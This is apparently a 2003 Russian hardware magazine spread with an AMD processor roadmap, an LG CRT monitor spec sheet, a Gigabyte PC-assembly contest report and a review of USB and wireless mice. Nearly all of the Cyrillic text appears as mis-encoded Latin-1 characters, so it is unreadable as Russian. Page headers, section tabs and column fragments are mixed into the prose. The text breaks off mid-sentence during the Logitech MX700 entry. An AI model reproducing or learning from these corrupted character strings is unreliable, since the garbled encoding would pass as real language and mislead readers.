Ïî ñâåäåíèÿì èç òåõ æå èñòî÷íèêîâ, ñïåöèàëèñòû<br />
AMD ñåé÷àñ ðàáîòàþò íàä íîâûì ÿäðîì Thoron, îáëàäàþùèì<br />
êýøåì L2 îáúåìîì 256 êá, ýòî íàâîäèò<br />
íà ìûñëü î òîì, ÷òî êàìíè íà ýòîì ÿäðå áóäóò ìëàäøèìè<br />
áðàòüÿìè âûïóñêàåìûõ Barton-êðèñòàëëîâ,<br />
ðàññ÷èòàííûõ íà ðûíîê áþäæåòíûõ ñèñòåì.<br />
Îñòàëüíûå ïëàíû AMD îïóáëèêîâàë ñàéò vr-zone.com:<br />
* Opteron (WS/Server):<br />
«SledgeHammer»: 1MB L2 Cache, 0.13 ìêì SOI, àïðåëü<br />
2003<br />
“Athens»: 1MB L2 Cache, 0.09 ìêì SOI, ïåðâûé êâàðòàë<br />
2004<br />
* Desktop Athlon 64<br />
«ClawHammer»: 1MB L2 Cache, 0.13 ìêì SOI,<br />
2800+/3100+/3400+ (1.6/1.8/2Ghz) àïðåëü 2003,<br />
3700+ (2.2Ghz) ëåòî 2003, 4000+(2.4Ghz) îñåíü 2003<br />
«San Diego»: 1MB L2 Cache, 0.09 ìêì SOI, ïåðâîå ïîëóãîäèå<br />
2004<br />
«Paris» : 256KB L2 Cache, 0.13 ìêì SOI, 3200+(2Ghz?)<br />
ëåòî 2003, 3500+ îñåíü 2003<br />
«Victoria»: 256KB L2 Cache, 0.09 ìêì SOI, ïåðâîå ïîëóãîäèå<br />
2004<br />
* Mobile Athlon 64<br />
«ClawHammer»: 1MB L2 Cache, 0.13 ìêì SOI, âòîðîå<br />
ïîëóãîäèå 2003<br />
«Odessa»: 1MB L2 Cache, 0.09 ìêì SOI, ïåðâîå ïîëóãîäèå<br />
2004<br />
 íîìåðå:<br />
Gigaìàòü<br />
Ïëàíû AMD<br />
Âî ïèîíýðû ïîøëè!<br />
Ñìåðòü êóëåðàì?<br />
* Desktop Athlon XP<br />
«Barton»: 400Mhz<br />
FSB, 512KB L2<br />
Cache, 0.13 ìêì,<br />
èþíü 2003<br />
«Thorton»: 333Mhz<br />
FSB, 256KB L2<br />
Cache, 0.13 ìêì,<br />
ëåòî 2003<br />
LG âîîðóæàåòñÿ<br />
íîâîé ïóøêîé<br />
Íà ïðèëàâêàõ ðîññèéñêèõ ìàãàçèíîâ íåäàâíî ïîÿâèëñÿ<br />
íîâûé 17-òè äþéìîâûõ ìîíèòîð îò LG -<br />
Flatron ez T710P, ïðåäñòàâèòåëü íîâîé ëèíåéêè, â<br />
ìîäåëÿõ êîòîðîé ðåàëèçîâàíî íåñêîëüêî íîâåéøèõ<br />
ðàçðàáîòîê LG.<br />
Ýòîò ïëîñêèé ìîíèòîð îñíàùåí íîâîé ýëåêòðîííîé<br />
ïóøêîé iPLS Gun II, îáåñïå÷èâàþùåé âûñîêóþ<br />
ïëîñòíîñòü ýëåêòðîííîãî ïó÷êà, è êàê ðåçóëüòàò,<br />
ÿðêîå è ÷åòêîå èçîáðàæåíèå. Òàê æå â<br />
ýòîì ìîíèòîðå ïðîäâèãàåòñÿ íîâàÿ ôèøêà - ñèñòåìà<br />
BrightView, ïîçâîëÿþùàÿ óñòàíàâëèâàòü<br />
ðàçëè÷íûå ðåæèìû ðàáîòû äèñïëåÿ ïîä ðàçëè÷íûå<br />
çàäà÷è:<br />
Òåêñòîâûé ðåæèì äëÿ ðàáîòû ñ îôèñíûìè ïðèëîæåíèÿìè.<br />
Óðîâåíü ÿðêîñòè äî 160 cd/m2<br />
Ðåæèì ïðîñìîòðà äèíàìè÷åñêîãî èçîáðàæåíèÿ (èãðû,<br />
ôèëüìû). Óðîâåíü ÿðêîñòè äî 350 cd/m2<br />
Ðåæèì ðàáîòû ñ öèôðîâûìè èçîáðàæåíèÿìè âûñîêîãî<br />
êà÷åñòâà.Óðîâåíü ÿðêîñòè äî 220 cd/m2<br />
Îñíîâíûå ñïåöèôèêàöèè ìîíèòîðà:<br />
Äèàãîíàëü: 17"(16" âèäèìàÿ)<br />
Ïîêðûòèå: AGARAS (àíòèñòàòè÷åñêîå, íå îòðàæàþùåå,<br />
ïðîòèâîáëèêîâîå)<br />
Òðóáêà: CDT FLATRON ez<br />
Çåðíî: 0.25/ 0.20 ìì<br />
Ãîðèçîíòàëüíàÿ ÷àñòîòà: 30~85 ÊÃö<br />
Ìàêñèìàëüíîå ðàçðåøåíèå: 1600õ1200@68Ãö<br />
Ðåêîìåíäóåìîå ðàçðåøåíèå: 1280õ1024@85Ãö<br />
Ñîîòâåòñòâèå ñòàíäàðòàì: TCO 99, EPA Energy Star,<br />
FCC CLASS B, CE, MPR-II<br />
Ñîâìåñòèìîñòü: VESA, IBM PC, PS/2, Apple, Macintosh<br />
Ýíåðãîïîòðåáëåíèå â ðàáî÷åì ðåæèìå: 73 W<br />
Ýíåðãîïîòðåáëåíèå â ñïÿùåì ðåæèìå: 15 W<br />
Ýíåðãîïîòðåáëåíèå â ðåæèìå "âûêë.": 5 W<br />
Ãàáàðèòû ìîíèòîðà: 400 x 401 x 411 ìì3<br />
Âåñ íåòòî: 15,4 êã<br />
Ìîíèòîð, êñòàòè, èìååò äîâîëüíî ïðèâëåêàòåëüíûé<br />
âíåøíèé âèä è íå ìåíåå ïðèâëåêàòåëüíóþ öåíó – ïîðÿäêà<br />
$185.<br />
ÀÏÐÅËÜ<br />
2003<br />
¹52<br />
Ñáîðêà êîìïà ïî<br />
âåðñèè Gigabyte<br />
Ñõîäèòü â ìàãàçèí çà êîìïàêò-äèñêîì, à äîìîé ïðèíåñòè<br />
öåëûé êîìï - ñêàçêà? Îòíþäü. Âåäü ïðèìåðíî<br />
òàêàÿ èñòîðèÿ è ïðîèçîøëà ñ ïîáåäèòåëåì ïåðâîãî<br />
îòáîðî÷íîãî òóðà îòêðûòîãî ÷åìïèîíàòà Ðîññèè<br />
ïî ñáîðêå êîìïüþòåðîâ, êîòîðûé ñîñòîÿëñÿ 29<br />
ìàðòà â Ìîñêâå â òîðãîâîì öåíòðå "Ìîñêâà". X òàì<br />
áûë, à òû?<br />
Âûèãðàòü êîìïüþòåð (êñòàòè, äîâîëüíî íåïëîõîé:<br />
êàìåíü P4, âèäþõà ATI, ïàìÿòü Kingston) ñî âñåé<br />
ïåðèôåðèåé (ñêàíåð, êîëîíêè è ò.ä.) è ÆÊ-ìîíèòîðîì<br />
ìîã êàæäûé. Äëÿ ýòîãî íóæíî áûëî çàðåãèñòðèðîâàòüñÿ<br />
íà ñàéòå ãëàâíîãî ñïîíñîðà - êîìïàíèè<br />
Gigabyte - èëè ïîäêàòèòü ïîðàíüøå â Ëþáëèíî è<br />
çàðåãèñòðèðîâàòüñÿ íà ìåñòå. Âñå ó÷àñòíèêè ñíà-<br />
÷àëà ïðîøëè îòáîðî÷íûé òóð: äîâîëüíî íåñëàáûé<br />
òåñò íà çíàíèÿ äèñöèïëèí òåîðåòè÷åñêîé è ïðàêòè-<br />
÷åñêîé ñáîðêè. 20 ñàìûõ óìíûõ äîïóñòèëè ê PCêîíñòðóêòîðó.<br />
Êîíå÷íî, óðîâåíü ó÷àñòíèêîâ çàìåòíî ðàçíèëñÿ (ìå-<br />
íÿ îñîáî ïîðàäîâàë ìàëü÷èê ïðèÿòíîé áîòàíè÷åñêîãî<br />
íàðóæíîñòè, ïðèøåäøèé ñ ìàìîé è åëå óëîæèâøèéñÿ<br />
â "êâàëèôèêàöèîííûå" 15 ìèíóò), íî òåì íå<br />
ìåíåå, òåáÿ íà ýòèõ ñîðåâíîâàíèÿõ ÿâíî íå õâàòàëî<br />
:). Âåäü ðåêîðäíîå âðåìÿ (6 ìèíóò 33 ñåêóíäû) -<br />
ýòî, èìõî, äàëåêî íå ïðåäåë.  ëþáîì ñëó÷àå, îáèæåííûõ<br />
íå îñòàëîñü, ò.ê. íàãðàäèëè âñåõ, â òîì ÷èñëå<br />
è ïðîëåòåâøèõ íàä ãëàâíûì ïðèçîì íà ðàññòîÿíèè<br />
ïîðÿäêà ñâåòîâîãî ãîäà. À äâîå ëó÷øèõ ñáîðùèêîâ<br />
óæå ãîòîâÿòñÿ ê ôèíàëó ñ êàêèì-òî ôàíòàñòè÷åñêèì<br />
(ïîêà íå èçâåñòíûì) ïðèçîì îò Gigabyte'à.<br />
Òàê ÷òî âñåì æåëàþùèì çàïîëó÷èòü îòëè÷íûé<br />
êîìïóòåð íàñòîÿòåëüíî ðåêîìåíäóåì ïîòðåíèðîâàòüñÿ<br />
â ñáîðêå/ðàçáîðêå (ïîñëåäíÿÿ íå îöåíèâàëàñü,<br />
íî â çàäàíèå òîæå âõîäèëà)<br />
ñâîåãî PC è, âïåðåä - íà ñàéò<br />
www.winner.gigabyte.ru.<br />
1 2 3 4<br />
10 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Ferrum<br />
ÌÛØÈÍÛÅ ÊÎÐÎËÈ<br />
test_lab (test_lab@gameland.ru)<br />
ÌÛØÈÍÛÅ<br />
ÊÎÐÎËÈ<br />
Ýïîõà èíòåðôåéñà USB â ñàìîì ðàçãàðå. ×òî òîëüêî íå ïîäêëþ÷àþò<br />
÷åðåç íåãî ê êîìïó: ZIV-äðàéâû, mp3-ïëååðû, êàðìàííèêè, êàìåðû,<br />
ôëåø-ðèäåðû è åùå öåëóþ êó÷ó äðóãèõ ýêçîòè÷åñêèõ õàéòåê-ãàæäåòîâ.<br />
Ìû æå ðåøèëè ïðîâåðèòü, êàê íà ñåãîäíÿøíèé äåíü ïðåäñòàâëåíû<br />
áîëåå ïðèâû÷íûå óñòðîéñòâà ñ ýòèì èíòåðôåéñîì, à èìåííî - ìûøêè è<br />
êëàâû, êîòîðûå ëþáîé èç íàñ þçàåò åæåäíåâíî.<br />
Çà ìåñÿö ìû óñïåëè ïðîòåñòèòü<br />
öåëûé âàãîí USB-ìûøåé, òðåêáîëîâ<br />
è êëàâèàòóð. Íà ðûíêå èõ ñóùåñòâóåò<br />
åùå áîëüøå, íî ñàìûå<br />
îñíîâíûå â òåñò ïîïàëè. Òàê ÷òî,<br />
âîîðóæèâøèñü ëþáèìûì æóðíàëîì,<br />
â ìàãàçèíå òû íå ðàñòåðÿåøüñÿ<br />
:).<br />
Ìû ðåøèëè èçáåãàòü â ñòàòüå ñëîâ<br />
òèïà «óäîáíî» è «íåóäîáíî» ïðèìåíèòåëüíî<br />
ê êîíêðåòíûì äåâàéñàì.<br />
Ïî íàøèì íàáëþäåíèÿì îò<br />
îäíîé è òîé æå ìûøêè îäèí ÷åë<br />
ìîæåò êîð÷èòüñÿ â ïðèñòóïàõ ðâîòû,<br />
à äðóãîé – òàùèòüñÿ, êàê óäàâ<br />
øåðøàâûì ïóçîì îá àñôàëüò. Ìû<br />
ñåðüåçíî ïîäîøëè ê çàäà÷å è<br />
ïðåäëàãàëè ïîùóïàòü ìûøåé ðàçíûì<br />
íåèñêóøåííûì ëþäÿì. À çàïèñûâàëè<br />
íå âîïëè çëîñòè/ðàäîñòè,<br />
à ôèøêè, íà êîòîðûå ëþäè îáðàùàþò<br />
âíèìàíèå. Ïîëó÷èëîñü<br />
äîâîëüíî èíòåðåñíîå èññëåäîâàíèå<br />
ïî ýðãîíîìèêå.<br />
ÓÄÎÁÍÎ ÈËÈ ÍÅÓÄÎÁÍÎ?<br />
Èòàê, ìíåíèÿ ïðîòèâîïîëîæíû. Îäíè<br />
îáîæàþò ëåãêèå äåâàéñû, ïîñêîëüêó îò<br />
òÿæåëûõ ìûøåé óñòàåò ðóêà, à òÿæåëóþ<br />
êëàâó íåóäîáíî äåðæàòü íà ïóçå èëè íà<br />
êîëåíÿõ. Äðóãèå ëþáÿò ïîòÿæåëåå, ïîñêîëüêó<br />
ñ÷èòàþò ëåãêèå äåâàéñû íåóñòîé÷èâûìè.<br />
Îäíè ïîñòîÿííî îòðûâàþò ìûøêó îò<br />
ïîâåðõíîñòè ïðè ðàáîòå è èì âàæíî,<br />
÷òîá îíà èç ðóê íå âûñêàëüçûâàëà.<br />
Äðóãèå âîîáùå íå îòðûâàþò ìûøü îò<br />
ñóáñòðàòà.<br />
Îäíèì íðàâÿòñÿ ýðãîíîìè÷íûå ìûøêè,<br />
÷òîáû ñèäåëà â ðóêå êàê âëèòàÿ. Äðóãèå<br />
ïðåäïî÷èòàþò ïðîñòî ñèììåòðè÷íûå,<br />
÷òîáû ìîæíî áûëî ëàïàòü êàê ëåâîé, òàê<br />
è ïðàâîé ðóêîé.<br />
Êòî-òî ëþáèò, êîãäà ìûøêà ñâåòèòñÿ,<br />
ìèãàåò, èëè äàæå çâó÷èò, à äðóãèõ ýòî<br />
ðàçäðàæàåò.<br />
ÐÎÄÈÎÌÛØÜ?! ÄÀËÅÊÎ?<br />
Ïåðâûé âîïðîñ, êîòîðûé çàäàåò ÷åëîâåê,<br />
ãëÿäÿ íà ðàäèîìûøü: «Íàñêîëüêî<br />
äàëåêî îíà ðàáîòàåò?». Íà÷àòü ñòîèò ñ<br />
òîãî, à íà ñêîëüêî íàäî? Åñëè òû ñîáðàëñÿ<br />
èñïîëüçîâàòü ìûøêó íà ñòîëå, òî<br />
õâàòèò òðèäöàòè ñàíòèìåòðîâ. Åñëè òû<br />
õî÷åøü ïðèëå÷ü íà äèâàí, õâàòèò îäíîãî-äâóõ<br />
ìåòðîâ. Óæå ñ òðåõ ìåòðîâ ìîæåò<br />
ïîíàäîáèòüñÿ áèíîêëü, ÷òîáû ðàçãëÿäåòü<br />
êóðñîð è áóêâû íà ýêðàíå ñåìíàäöàòèäþéìîâîãî<br />
ìîíèòîðà ñ ðàçðåøåíèåì<br />
1024õ768, õîòÿ áîëüøèíñòâó îí<br />
íåîáõîäèì óæå ñ äâóõ ìåòðîâ :).<br />
Âòîðîé âîïðîñ îáû÷íî çàäàþò çíàþùèå<br />
ëþäè - ïðî ìåðòâûå çîíû è óñòîé-<br />
÷èâîñòü ðàáîòû. Çíàòîêàì îòâå÷àåì:<br />
íà ñòîëå, ðÿäîì ñ ïåðåäàò÷èêîì ëþáàÿ<br />
ìûøêà áóäåò ðàáîòàòü áåç ïðîáëåì.<br />
Ïðè óäàëåíèè íà ïîëîâèíó ïàñïîðòíîãî<br />
ðàññòîÿíèÿ ïðîÿâëÿþòñÿ ìåðòâûå<br />
çîíû, îíè çàâèñÿò îò ïðåïÿòñòâèé, îò<br />
óðîâíÿ ìûøêè îòíîñèòåëüíî ïðèåìíèêà,<br />
îò åå îðèåíòàöèè, îò çàðÿäà áàòàðååê<br />
è îò êà÷åñòâà ýëåêòðîíèêè. Íî<br />
ìåðòâûå çîíû íå ïðîáëåìà, ïîñêîëüêó<br />
îíè îáõîäÿòñÿ îäíèì ïðîñòûì äâèæåíèåì.<br />
Òî åñòü íàäî îäèí ðàç óñòðîèòüñÿ<br />
íà äèâàíå òàê, ÷òîáû âñå ðàáîòàëî,<br />
ìîæåò áûòü äàæå ÷óòü-÷óòü ïåðåñòàâèòü<br />
ðàäèîáëîê, è çàáûòü î ìåðòâûõ<br />
çîíàõ íàâñåãäà. Íåñòàáèëüíîñòü ðàáîòû<br />
ðàäèîêëàâû èëè ðàäèîìûøè ïîñëå<br />
òîãî, êàê òû âñå íàñòðîèë ïîä ñåáÿ, áóäåò<br />
áåñïîêîèòü òîëüêî â äâóõ ñëó÷àÿõ:<br />
êîãäà ñÿäóò áàòàðåéêè, è êîãäà òû<br />
âçäóìàåøü õîäèòü ïî êîìíàòå ñ áåñïðîâîäíîé<br />
êëàâèàòóðîé, îäíîâðåìåííî<br />
íàáèâàÿ òåêñò :).<br />
×ÅÃÎ ÕÎÒßÒ ÃÅÉÌÅÐÛ?<br />
Ïðîâåðÿÿ ïðèãîäíîñòü ìûøåé äëÿ<br />
èãð, ìû îïðîñèëè íåñêîëüêî çàÿäëûõ<br />
ãàìåðîâ. Îêàçûâàåòñÿ, ïîìèìî îòñóòñòâèÿ<br />
çàåäàíèé, ìíîãèõ âîëíóåò ïîâåäåíèå<br />
ìûøè âî âðåìÿ îòðûâàíèÿ îò<br />
êîâðèêà. Ïîâàëüíîå áîëüøèíñòâî îïðîøåííûõ<br />
ëþáÿò êà÷åñòâåííûå îïòè-<br />
÷åñêèå ìûøè çà èõ òî÷íîñòü è íåïðèõîòëèâîñòü,<br />
îäíàêî äâèæåíèÿ ïðîôåññèîíàëüíîãî<br />
èãðîêà îòòî÷åíû äî ìåëî÷åé,<br />
êîãäà îí îòðûâàåò ìûøü îò<br />
ñóáñòðàòà, êóðñîð íå äîëæåí äâèãàòüñÿ.<br />
Ìåõàíè÷åñêàÿ ìûøü äåéñòâèòåëüíî<br />
íå äâèãàåò êóðñîðîì, à âîò îïòè-<br />
÷åñêàÿ íå ìîæåò òàê ïðîñòî ñìèðèòüñÿ<br />
ñ èñ÷åçíîâåíèåì ïîëà ïîä íîãàìè è<br />
âñå ðàâíî ïûòàåòñÿ ïðîñëåäèòü íàïðàâëåíèå<br />
äâèæåíèÿ.<br />
Ïðåäïîëîæèâ, ÷òî âñå çàâèñèò îò ìîùíîñòè<br />
ôîíàðÿ (ñâåòîäèîäà), ìû çàìåðèëè<br />
åå ïðè ïîìîùè ñîëíå÷íîé áàòàðåè<br />
îò êàëüêóëÿòîðà è àìïåðìåòðà.<br />
×åì áîëüøå ìîùíîñòü, òåì áîëüøå<br />
íàïðÿæåíèå. Ó âñåõ ìûøåê íàøåãî îáçîðà<br />
ìû ïîëó÷èëè ïðèìåðíî îäèíàêîâûå<br />
ðåçóëüòàòû, íàäî òîëüêî îòìåòèòü,<br />
÷òî ìîùíîñòü ìîæåò çàâèñåòü îò çàðÿäà<br />
áàòàðåé.<br />
Òîãäà ìû ðåøèëè âñå-òàêè ïîïûòàòüñÿ<br />
íàéòè îïòè÷åñêóþ ìûøü ñ ëó÷øåé ðåàêöèåé<br />
íà óõîæäåíèå ïîëà èç-ïîä íîã è<br />
îïÿòü ïîëó÷èëè ïîõîæèå ðåçóëüòàòû.<br />
Îäíàêî ìû âñå-òàêè íàøëè ñïîñîá<br />
áîðüáû ñî çëîì! Âûñîòà ñðàáàòûâàíèÿ<br />
çàâèñèò íå ñòîëüêî îò ìûøêè, ñêîëüêî<br />
îò ñóáñòðàòà. Íà òåìíîì ñòîëå âûñîòà<br />
äîñòèãàåò ñåìè ìèëëèìåòðîâ, íà êîâðèêàõ<br />
îêîëî òðåõ, à íà áåëîì ëèñòå áóìàãè<br />
âðåäîíîñíûé ýôôåêò ïðàêòè÷åñêè<br />
èñ÷åçàåò. Ñîâåòóåì îòöàì êëàñòü ïîä<br />
ñâîè îïòè÷åñêèå ìûøêè áåëûé ëèñò áóìàãè,<br />
è îíè íå ïîäâåäóò.<br />
ÊÀ×ÅÑÒÂÎ<br />
ÐÀÁÎÒÛ ÌÛØÅÉ<br />
Ðàáîòà ñâåæåïî÷èùåííîé ìåõàíè÷åñêîé<br />
ìûøè âñåõ óñòðàèâàåò, òîëüêî ðåäêèå<br />
ïðîãåéìåðû è äèçàéíåðû æàëóþòñÿ<br />
íà «÷óâñòâî øàðèêà». Îäíàêî ïî÷èùåííàÿ<br />
ìûøü ðàíî èëè ïîçäíî çàñîðÿåòñÿ,<br />
è êà÷åñòâî ñíèæàåòñÿ.<br />
Ñîâðåìåííûå îïòè÷åñêèå ìûøè ïðåâîñõîäÿò<br />
ìåõàíè÷åñêèõ ðîäñòâåííèêîâ<br />
ïî òî÷íîñòè ïîçèöèîíèðîâàíèÿ êóðñîðà.<br />
Îäíàêî ó íèõ äóðíàÿ íàñëåäñòâåííîñòü,<br />
âñå äåëî â òîì, ÷òî èõ îïòè÷åñêèå<br />
ïðåäêè ñõîäèëè ñ óìà íà íåêîòîðûõ<br />
ïîâåðõíîñòÿõ, äâèãàëè êóðñîð ñêà÷êàìè,<br />
áåññîâåñòíî çàåäàëè.<br />
 ñîâðåìåííîì ïîêîëåíèè îïòè÷åñêèõ<br />
ìûøåé ýòèõ ïðîáëåì ïðàêòè÷åñêè íåò.<br />
Äâå îïòè÷åñêèå USB-ìûøè ñ ðàçíûìè<br />
÷àñòîòàìè îïðîñà, ðàçíûìè ðàçðåøåíèÿìè,<br />
ðàçíûìè ïèêîâûìè óñêîðåíèÿìè,<br />
ñ ðàçíûìè ïðîöåññîðàìè è ðàçíûìè<br />
àëãîðèòìàìè ìîãóò ðàáîòàòü îäèíàêîâî.<br />
Ýòî ê òîìó, ÷òî íå íóæíî îáîëüùàòüñÿ,<br />
óâèäåâ âåëèêîëåïíîå çíà÷åíèå<br />
1600dpi èëè äðóãîé ðàçðåêëàìèðîâàííûé<br />
ïàðàìåòð. Íà ïðàêòèêå æå íåò òåñòîâ,<br />
ïîçâîëÿþùèõ òî÷íî èçìåðèòü ðåàëüíîå<br />
ðàçðåøåíèå è ñêîðîñòü ìûøè.<br />
Õîðîøàÿ ìûøü ìîæåò çàåäàòü è îò ñòàðîé<br />
âåðñèè äðàéâåðîâ.<br />
×òî æå îñòàåòñÿ? Îñòàåòñÿ ïðèñëóøèâàòüñÿ<br />
ê ìíåíèþ ëþäåé, ïîñòîÿííî ðàáîòàþùèõ<br />
ñ ãðàôèêîé. Îíè õâàëÿò îïòè-<br />
÷åñêóþ ñèñòåìó LOGITECH ñåðèè MX.<br />
Îäíàêî îñòàëüíûõ ìûøåê èç íàøåãî<br />
îáçîðà îáèæàòü òîæå íå õî÷åòñÿ, âñå<br />
îíè îòëè÷àþòñÿ áîëåå ÷åì ïðèåìëåìûì<br />
êà÷åñòâîì. Âîçìîæíîñòü òî÷íîãî<br />
óïðàâëåíèÿ êóðñîðîì ïîäîøëà ê âåðõíåìó<br />
ïðåäåëó, è òåïåðü èãðà èäåò<br />
áîëüøå íà óäîáñòâå è äîïîëíèòåëüíûõ<br />
ôèøêàõ.<br />
1 2 3 4<br />
12 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
DEFENDER 1440A UP DEFENDER 1480 UP<br />
DEFENDER 1440A UP<br />
Òÿæåëàÿ îïòè÷åñêàÿ ðàäèîìûøü íà äâóõ<br />
ïàëü÷èêîâûõ àêêóìóëÿòîðàõ. Êîãäà òâîé<br />
êîìï íå èñïîëüçóåòñÿ, ìîæåøü ïîëîæèòü<br />
åå íà áàçó, è îíà áóäåò çàðÿæàòüñÿ<br />
ïðÿìî êàê ðàäèîòåëåôîí. Ê áàçå<br />
ïîäêëþ÷àåòñÿ âíåøíèé ñåòåâîé àäàïòåð,<br />
ïîýòîìó ìûøêà ìîæåò çàðÿæàòüñÿ<br />
è ïðè âûêëþ÷åííîì êîìïå. Êîðïóñ òàêîé<br />
ôîðìû, ÷òî îò ñòîëà åå îòîðâàòü<br />
íåïðîñòî - äâóìÿ ïàëüöàìè ýòîãî íå<br />
ñäåëàåøü. Ñëåâà è ñïðàâà òîð÷àò äîïîëíèòåëüíûå<br />
êíîïêè, îíè ðàñïîëîæåíû<br />
äîñòàòî÷íî íèçêî.<br />
DEFENDER 1480 UP<br />
Ïîðàæàåò ñâîèì íåîáû÷íûì äèçàéíîì.<br />
Õîòÿ àêêóìóëÿòîðû òóò ìèçèí÷èêîâûå<br />
(ÀÀÀ), êîðïóñ ñäåëàí èç îðãñòåêëà<br />
è ïîòîìó äîâîëüíî òÿæåëûé. Ýòà<br />
îïòè÷åñêàÿ ìûøü ïîäõîäèò äëÿ íîóòáóêîâ<br />
èëè äëÿ êîìïîâ, ó êîòîðûõ åñòü<br />
USB-ðàçúåì íà ïåðåäíåé ïàíåëè. Åñëè<br />
òû õî÷åøü èñïîëüçîâàòü òàêóþ ìûøêó<br />
ñ îáû÷íûì êîìïîì, òî ìîæåò ïîíàäîáèòüñÿ<br />
USB-óäëèíèòåëü. Ðàäèóñ<br />
äåéñòâèÿ íåâåëèê, à åñëè ïðèåìíèê<br />
âîòêíóòü â ñèñòåìíûé áëîê ñçàäè, òî<br />
âîîáùå íè÷åãî íå áóäåò ðàáîòàòü. Ïîòîìó<br />
è íóæåí óäëèíèòåëü èëè USBðàçúåì<br />
íà ïåðåäíåé ïàíåëè. Äðóãîå<br />
äåëî íîóòáóê. Â íåãî óäîáíî âîòêíóòü<br />
êîìïàêòíûé ðàäèîìîäóëü.<br />
Ìûøêà ëåãêî ïîäíèìàåòñÿ äâóìÿ ïàëüöàìè,<br />
äëÿ ýòîãî áîêà ñòî÷åíû. Êîìïëåêòàöèÿ<br />
ïðîñòî íåâåðîÿòíàÿ, åñòü òðè<br />
øíóðà äëÿ çàðÿäêè àêêóìóëÿòîðîâ: ÷åðåç<br />
USB, ÷åðåç ðàäèîìîäóëü è ÷åðåç<br />
ñåòåâîé àäàïòåð.<br />
DEFENDER BROWSER 830 UP<br />
Îáû÷íàÿ ìåõàíè÷åñêàÿ ìûøêà. Äâå äîïîëíèòåëüíûå<br />
êíîïêè íàõîäÿòñÿ êàê ðàç<br />
ïîä ïàëüöàìè. Èíîãäà èõ ìîæíî ñëó÷àéíî<br />
íàæàòü. Êàê è ñòàðøèé ðîäñòâåííèê<br />
(DEFENDER 1440A UP) îáëàäàåò îáòåêàåìîé<br />
ôîðìîé, ïîýòîìó ñ òðóäîì îòðûâàåòñÿ<br />
îò ñòîëà.<br />
A4TECH SWOP-45<br />
Ìíîãèå èñïûòóåìûå îòìåòèëè óäîáñòâî<br />
ýòîãî îïòè÷åñêîãî çâåðÿ. Âñåì íðàâèòñÿ<br />
DEFENDER BROWSER 830 UP A4TECH WWW-35<br />
óäîáíàÿ êíîïêà ïîä áîëüøîé ïàëåö.<br />
Ìîæåò áûòü, íà ôîòî ìûøà âûãëÿäèò<br />
óãëîâàòî, íî â ðóêó ëîæèòñÿ íåïëîõî.<br />
A4TECH WWW-35<br />
Äâóõêîëåñíàÿ îïòè÷åñêàÿ ìûøü. Äâóõêîëåñíîñòü<br />
- âåùü íåçàìåíèìàÿ ïðè<br />
ñåðôèíãå èíåòà, ðèñîâàíèè, ðàñ÷åòàõ â<br />
áåñêðàéíèõ òàáëèöàõ, ïðîñìîòðå ôîòîê,<br />
òî åñòü âåçäå, ãäå èçîáðàæåíèå íå<br />
ïîìåùàåòñÿ íà ýêðàí. Îäíèì êîëå÷êîì<br />
òû ñêðîëèøü ïî ãîðèçîíòàëè, à äðóãèì<br />
ïî âåðòèêàëè. È íå ïðèõîäèòñÿ ëàçèòü<br />
êóðñîðîì ê ñêðîëáàðàì. Åñòü, êîíå÷íî,<br />
àëüòåðíàòèâíàÿ òåõíîëîãèÿ, êîãäà íàæàâ<br />
íà ñêðîëèíã, ìîæíî äâèãàòü ìûøêîé<br />
èçîáðàæåíèå. Îäíàêî äâóõêîëåñíîñòü<br />
âñå-òàêè ïðåäïî÷òèòåëüíåå, ïîñêîëüêó<br />
ìîæíî îäíîâðåìåííî ñêðîëèòü<br />
è êëèêàòü, à ñ íàæàòèåì íà ñêðîë - ëèáî<br />
äâèãàòü, ëèáî êëèêàòü. Ñëîâîì, ïðèâûêàåøü<br />
ê ýòîìó ìãíîâåííî, à îòâûêàòü<br />
ïðèäåòñÿ äîëãî :).<br />
Äîïîëíèòåëüíûå êíîïêè ðàñïîëîæåíû<br />
ïîä ïàëüöàìè - ìîæíî ñëó÷àéíî íàæàòü.<br />
Ìûøêà ëåãêî ïîäíèìàåòñÿ äâóìÿ ïàëü-<br />
A4TECH SWOP-45 A4TECH RFSOP-35<br />
öàìè. Íàæèìàåòñÿ ïî÷åìó-òî òîëüêî<br />
îäíî êîëåñî, õîòÿ áûëî áû êðó÷å, åñëè<br />
áû íàæèìàëèñü îáà.<br />
A4TECH RFSOP-35<br />
Ñâåðõëåãêàÿ îïòè÷åñêàÿ ðàäèîìûøü.<br />
Áåñïðîâîäíûå ìûøè èç-çà áàòàðåé è<br />
äîïîëíèòåëüíûõ ðàäèîñõåì âåñÿò çíà-<br />
÷èòåëüíî áîëüøå îáû÷íûõ. Òàê âîò â<br />
ýòîé ìîäåëè èíæåíåðàì A4TECH óäàëîñü<br />
ñîõðàíèòü íîðìàëüíûé âåñ. Åñòåñòâåííî,<br />
èñïîëüçîâàíû àêêóìóëÿòîðû<br />
ÀÀÀ. Ìûøü áåç ïðîáëåì ïîäíèìàåòñÿ<br />
äâóìÿ ïàëüöàìè. Çàðÿä áàòàðåé ïðîèñõîäèò<br />
òîëüêî îò ïîðòà USB, äëÿ ýòîãî â<br />
êîðïóñ âòûêàåòñÿ øòåêåð.<br />
A4TECH RP-1535<br />
Ìûøêà íåîòëè÷èìà îò A4TECH RFSOP-<br />
35, ðàçíûå òîëüêî ïðèåìíèêè. Åñëè<br />
A4TECH RFSOP-35 ñíàáæåíà íàñòîëüíûì<br />
ðàäèîáëîêîì, òî A4TECH RP-1535<br />
èìååò ìèíèàòþðíûé ïðèåìíèê. Òàêîé<br />
ïðèåìíèê î÷åíü óäîáíî èñïîëüçîâàòü<br />
ñ íîóòáóêàìè. Îäíàêî A4TECH<br />
íå çàáûëà è î ïîëüçîâàòåëÿõ äî-<br />
5 Þíèêñîèä 6 X-Style 7 Êîäèíã 8 Þíèòû 9 Quit> 13
Ferrum<br />
ÌÛØÈÍÛÅ ÊÎÐÎËÈ<br />
test_lab (test_lab@gameland.ru)<br />
A4TECH RP-1535 LOGITECH MX700<br />
ìàøíèõ êîìïüþòåðîâ, äëÿ íèõ èìååòñÿ<br />
USB-óäëèíèòåëü, ïîçâîëÿþùèé âûâåñòè<br />
ðàäèîäàò÷èê áëèæå ê ìûøêå. Ðàäèóñ<br />
äåéñòâèÿ, êîíå÷íî æå, íåâåëèê.<br />
LOGITECH MX700<br />
Ýðãîíîìè÷íûé îïòè÷åñêèé ðàäèîìîíñòð.<br />
Ìûøêà î÷åíü òÿæåëàÿ, çàòî÷åíà<br />
